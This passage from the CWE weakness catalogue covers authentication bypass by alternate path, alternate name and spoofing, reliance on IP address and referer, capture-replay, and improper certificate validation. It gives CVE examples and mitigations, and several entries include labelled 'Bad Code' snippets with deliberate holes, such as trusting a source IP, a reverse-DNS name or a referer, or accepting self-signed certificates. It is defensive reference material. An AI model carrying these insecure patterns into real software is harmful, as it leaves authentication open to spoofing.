ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	<b>928</b>	1358
ChildOf		935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	928	1360
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371
ParentOf		261	<i>Weak Cryptography for Passwords</i>	<b>1000</b>	464
ParentOf		262	<i>Not Using Password Aging</i>	<b>1000</b>	466
ParentOf		263	<i>Password Aging with Long Expiration</i>	<b>1000</b>	467
ParentOf		301	<i>Reflection Attack in an Authentication Protocol</i>	<b>699</b>	532
				<b>1000</b>	
ParentOf		303	<i>Incorrect Implementation of Authentication Algorithm</i>	<b>699</b>	535
				<b>1000</b>	
ParentOf		304	<i>Missing Critical Step in Authentication</i>	<b>699</b>	535
ParentOf		306	<i>Missing Authentication for Critical Function</i>	<b>699</b>	537
				<b>1000</b>	
ParentOf		307	<i>Improper Restriction of Excessive Authentication Attempts</i>	<b>699</b>	541
				<b>1000</b>	
ParentOf		308	<i>Use of Single-factor Authentication</i>	<b>699</b>	544
				<b>1000</b>	
ParentOf		309	<i>Use of Password System for Primary Authentication</i>	<b>699</b>	545
				<b>1000</b>	
ParentOf		384	<i>Session Fixation</i>	699	663
				<b>1000</b>	
ParentOf		521	<i>Weak Password Requirements</i>	<b>1000</b>	861
ParentOf		522	<i>Insufficiently Protected Credentials</i>	<b>1000</b>	862
ParentOf		592	<i>Authentication Bypass Issues</i>	<b>699</b>	933
				<b>1000</b>	
ParentOf		603	<i>Use of Client-Side Authentication</i>	<b>699</b>	950
				<b>1000</b>	
CanFollow		613	<i>Insufficient Session Expiration</i>	699	960
				<b>1000</b>	
ParentOf		620	<i>Unverified Password Change</i>	<b>699</b>	967
				<b>1000</b>	
MemberOf		635	<i>Weaknesses Used by NVD</i>	<b>635</b>	983
ParentOf		640	<i>Weak Password Recovery Mechanism for Forgotten Password</i>	<b>1000</b>	989
ParentOf		645	<i>Overly Restrictive Account Lockout Mechanism</i>	<b>699</b>	1000
				<b>1000</b>	
ParentOf		798	<i>Use of Hard-coded Credentials</i>	<b>1000</b>	1219
ParentOf		804	<i>Guessable CAPTCHA</i>	699	1229
				<b>1000</b>	
ParentOf		836	<i>Use of Password Hash Instead of Password for Authentication</i>	<b>699</b>	1275
				<b>1000</b>	

**Relationship Notes**

This can be resultant from SQL injection vulnerabilities and other issues.

**Functional Areas**

- Authentication

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	1		Insufficient Authentication

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
22	Exploiting Trust in Client (aka Make the Client Invisible)	
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
94	Man in the Middle Attack	
114	Authentication Abuse	

**References**

OWASP. "Top 10 2007-Broken Authentication and Session Management". < [http://www.owasp.org/index.php/Top\\_10\\_2007-A7](http://www.owasp.org/index.php/Top_10_2007-A7) >.

OWASP. "Guide to Authentication". < [http://www.owasp.org/index.php/Guide\\_to\\_Authentication](http://www.owasp.org/index.php/Guide_to_Authentication) >.

Microsoft. "Authentication". < [http://msdn.microsoft.com/en-us/library/aa374735\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx) >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft. 2002.

## CWE-288: Authentication Bypass Using an Alternate Path or Channel

**Weakness ID:** 288 (*Weakness Base*)

**Status:** Incomplete

**Description****Summary**

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- All

**Modes of Introduction**

This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

**Common Consequences****Access Control****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-1999-1077	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
CVE-1999-1454	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
CVE-2000-1179	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.

Reference	Description
CVE-2002-0066	Bypass authentication via direct request to named pipe.
CVE-2002-0870	Attackers may gain additional privileges by directly requesting the web management URL.
CVE-2003-0304	Direct request of installation file allows attacker to create administrator accounts.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.

## Potential Mitigations

### Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>B</b>	420	Unprotected Alternate Channel	1000	723
PeerOf	<b>B</b>	425	Direct Request ('Forced Browsing')	1000	727
ChildOf	<b>C</b>	592	Authentication Bypass Issues	<b>699</b> <b>1000</b>	933
ChildOf	<b>C</b>	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	<b>629</b>	1115
ChildOf	<b>C</b>	840	Business Logic Errors	699	1283
ChildOf	<b>C</b>	947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371

## Relationship Notes

overlaps Unprotected Alternate Channel

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
56	Removing/short-circuiting 'guard logic'	
127	Directory Indexing	

# CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

### Bypass protection mechanism

## Observed Examples

Reference	Description
CVE-2003-0317	Protection mechanism that restricts URL access can be bypassed using URL encoding.
CVE-2004-0847	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).

## Potential Mitigations

## Architecture and Design

### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."









Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		592	Authentication Bypass Issues	<b>699</b>	933
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371
CanFollow		46	<i>Path Equivalence: 'filename ' (Trailing Space)</i>	1000	80
CanFollow		52	<i>Path Equivalence: '/multiple/trailing/slash/'</i>	1000	85
CanFollow		171	<i>Cleansing, Canonicalization, and Comparison Errors</i>	1000	332
CanFollow		173	<i>Improper Handling of Alternate Encoding</i>	1000	335
CanFollow		178	<i>Improper Handling of Case Sensitivity</i>	1000	343

### Relationship Notes

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

### Theoretical Notes

Alternate names are useful in data driven manipulation attacks, not just for authentication.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Authentication bypass by alternate name
CERT Java Secure Coding	IDS01-J	Normalize strings before validating them

## CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.



## Time of Introduction

- Architecture and Design
- Implementation

## Common Consequences

### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.

## Demonstrative Examples

### Example 1:

The following code authenticates users.

#### Java Example:

*Bad Code*

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

### Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

#### C/C++ Example:

*Bad Code*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliLen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr) == getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliLen);
    }
}
```

#### Java Example:

*Bad Code*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client

### Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

#### C Example:

*Bad Code*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
```

```
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

**Java Example:**

Bad Code

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

**C# Example:**

Bad Code

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

**Observed Examples**

Reference	Description
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		592	Authentication Bypass Issues	<b>699</b> <b>1000</b>	933
ChildOf		956	SFP Secondary Cluster: Channel Attack	<b>888</b>	1374
ParentOf		291	Reliance on IP Address for Authentication	<b>699</b> <b>1000</b>	517
ParentOf		293	Using Referer Field for Authentication	<b>699</b> <b>1000</b>	518
ParentOf		350	Reliance on Reverse DNS Resolution for a Security-Critical Action	<b>699</b> <b>1000</b>	608
CanAlsoBe		358	Improperly Implemented Security Check for Standard	1000	621
PeerOf		602	Client-Side Enforcement of Server-Side Security	1000	947
MemberOf		884	CWE Cross-section	<b>884</b>	1319

**Relationship Notes**

This can be resultant from insufficient verification.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication bypass by spoofing

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
94	Man in the Middle Attack	
459	Creating a Rogue Certificate Authority Certificate	
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness	
473	Signature Spoof	

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Spoofing and Identification", Page 72.. 1st Edition. Addison Wesley. 2006.

# CWE-291: Reliance on IP Address for Authentication

**Weakness ID:** 291 (*Weakness Variant*)

**Status:** Incomplete

## Description

### Summary

The software uses an IP address for authentication.

### Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Non-Repudiation

#### Hide activities

#### Gain privileges / assume identity

Malicious users can fake authentication information, impersonating any IP address.

### Likelihood of Exploit

High

### Demonstrative Examples

Both of these examples check if a request is from a trusted address before responding to the request.

#### C/C++ Example:

*Bad Code*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clien);
    }
}
```

#### Java Example:

*Bad Code*

```
while(true) {
```

```

DatagramPacket rp=new DatagramPacket(rData,rData.length);
outSock.receive(rp);
String in = new String(p.getData(),0, rp.getLength());
InetAddress clientIPAddress = rp.getAddress();
int port = rp.getPort();
if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
}
}

```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

### Potential Mitigations

#### Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		290	Authentication Bypass by Spoofing	699	514
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	1000	792
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Trusting self-reported IP address

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
4	Using Alternative IP Address Encodings	

## CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name

**Weakness ID:** 292 (Deprecated Weakness Variant) **Status:** Deprecated

### Description

#### Summary

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

### Likelihood of Exploit

High

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP29	Faulty endpoint authentication

## CWE-293: Using Referer Field for Authentication

**Weakness ID:** 293 (Weakness Variant) **Status:** Draft

### Description

#### Summary

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

## Alternate Terms

### referrer

While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

## Time of Introduction

- Architecture and Design

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

#### Gain privileges / assume identity

Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.

## Likelihood of Exploit

High

## Demonstrative Examples

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

### C++ Example:

*Bad Code*

```
String trustedReferer = "http://www.example.com/"
while(true){
    n = read(newsock, buffer, BUFSIZE);
    requestPacket = processPacket(buffer, n);
    if (requestPacket.referer == trustedReferer){
        openNewSecureSession(requestPacket);
    }
}
```

### Java Example:

*Bad Code*

```
boolean processConnectionRequest(HttpServletRequest request){
    String referer = request.getHeader("referer")
    String trustedReferer = "http://www.example.com/"
    if(referer.equals(trustedReferer)){
        openPrivilegedConnection(request);
        return true;
    }
    else{
        sendPrivilegeError(request);
        return false;
    }
}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

## Potential Mitigations


### Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

## Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		290	Authentication Bypass by Spoofing	<b>699</b>	514
				<b>1000</b>	

Nature	Type	ID	Name	V	Page
ChildOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1372

### Relevant Properties

- Mutability

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Using referrer field for authentication
Software Fault Patterns	SFP29	Faulty endpoint authentication

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Referer Request Header", Page 1030.. 1st Edition. Addison Wesley, 2006.

## CWE-294: Authentication Bypass by Capture-replay

Weakness ID: 294 (Weakness Base)

Status: Incomplete

### Description

#### Summary

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

#### Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.

#### Likelihood of Exploit

High

#### Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).

#### Potential Mitigations

##### Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

##### Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

#### Relationships

Nature	Type	ID	Name	█	Page
ChildOf		592	Authentication Bypass Issues	699	933
ChildOf		956	SFP Secondary Cluster: Channel Attack	1000	1374
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication bypass by replay
CLASP	Capture-replay

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
60	Reusing Session IDs (aka Session Replay)	
94	Man in the Middle Attack	
102	Session Sidejacking	

## CWE-295: Improper Certificate Validation

Weakness ID: 295 (Weakness Base) Status: Incomplete

### Description

#### Summary

The software does not validate, or incorrectly validates, a certificate.

#### Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Integrity

#### Authentication

#### Bypass protection mechanism

#### Gain privileges / assume identity

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies



### Dynamic Analysis with automated results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

### Dynamic Analysis with manual results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Man-in-the-middle attack tool

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

### Automated Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

### Observed Examples

Reference	Description
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
CVE-2003-1229	chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
CVE-2005-3170	LDAP client accepts certificates even if they are not from a trusted CA.
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed.
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-1358	chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2010-1378	chain: incorrect calculation allows attackers to bypass certificate checks.
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services.
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname.
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss.
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
CVE-2012-5819	Cloud storage management application does not validate hostname.
CVE-2012-5821	Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
CVE-2012-5822	Application uses third-party library that does not validate hostname.

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

### Potential Mitigations

#### Architecture and Design

#### Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

### Background Details

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	254	Security Features	<b>699</b>	452
PeerOf	<b>B</b>	322	Key Exchange without Entity Authentication	1000	567
ChildOf	<b>G</b>	693	Protection Mechanism Failure	<b>1000</b>	1074
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ParentOf	<b>B</b>	296	<i>Improper Following of a Certificate's Chain of Trust</i>	<b>699</b> <b>1000</b>	523
ParentOf	<b>V</b>	297	<i>Improper Validation of Certificate with Host Mismatch</i>	<b>699</b> 1000	525
ParentOf	<b>V</b>	298	<i>Improper Validation of Certificate Expiration</i>	<b>699</b> <b>1000</b>	527
ParentOf	<b>V</b>	299	<i>Improper Check for Certificate Revocation</i>	<b>699</b> <b>1000</b>	528
ParentOf	<b>V</b>	599	<i>Missing Validation of OpenSSL Certificate</i>	<b>699</b> <b>1000</b>	940

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
459	Creating a Rogue Certificate Authority Certificate	

### References

Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security".

2012-10-16. < <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf> >.

M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.

## CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID: 296 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

#### Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

- Any certificate in the chain is self-signed, unless it the root.

- Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.

- An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.

- The root certificate has been compromised or authorized to the wrong party.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Non-Repudiation

##### Hide activities

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.

##### Integrity

##### Confidentiality

##### Availability

##### Access Control

##### Gain privileges / assume identity

##### Execute unauthorized code or commands

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

This code checks the certificate of a connected peer.

##### C/C++ Example:

*Bad Code*

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

#### Observed Examples

Reference	Description
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
CVE-2002-0970	File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed.

Reference	Description
CVE-2009-0124	chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2012-5821	Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).

### Potential Mitigations

#### Architecture and Design

Ensure that proper certificate checking is included in the system design.

#### Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		295	Improper Certificate Validation	<b>699</b> <b>1000</b>	521
ChildOf		573	Improper Following of Specification by Caller	1000	910
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		948	SFP Secondary Cluster: Digital Certificate	<b>888</b>	1372
PeerOf		370	<i>Missing Check for Certificate Revocation after Initial Check</i>	<i>1000</i>	<i>649</i>
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to follow chain of trust in certificate validation

### References

Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25. < [http://www.cs.utexas.edu/~shmat/shmat\\_ccs12.pdf](http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf) >.

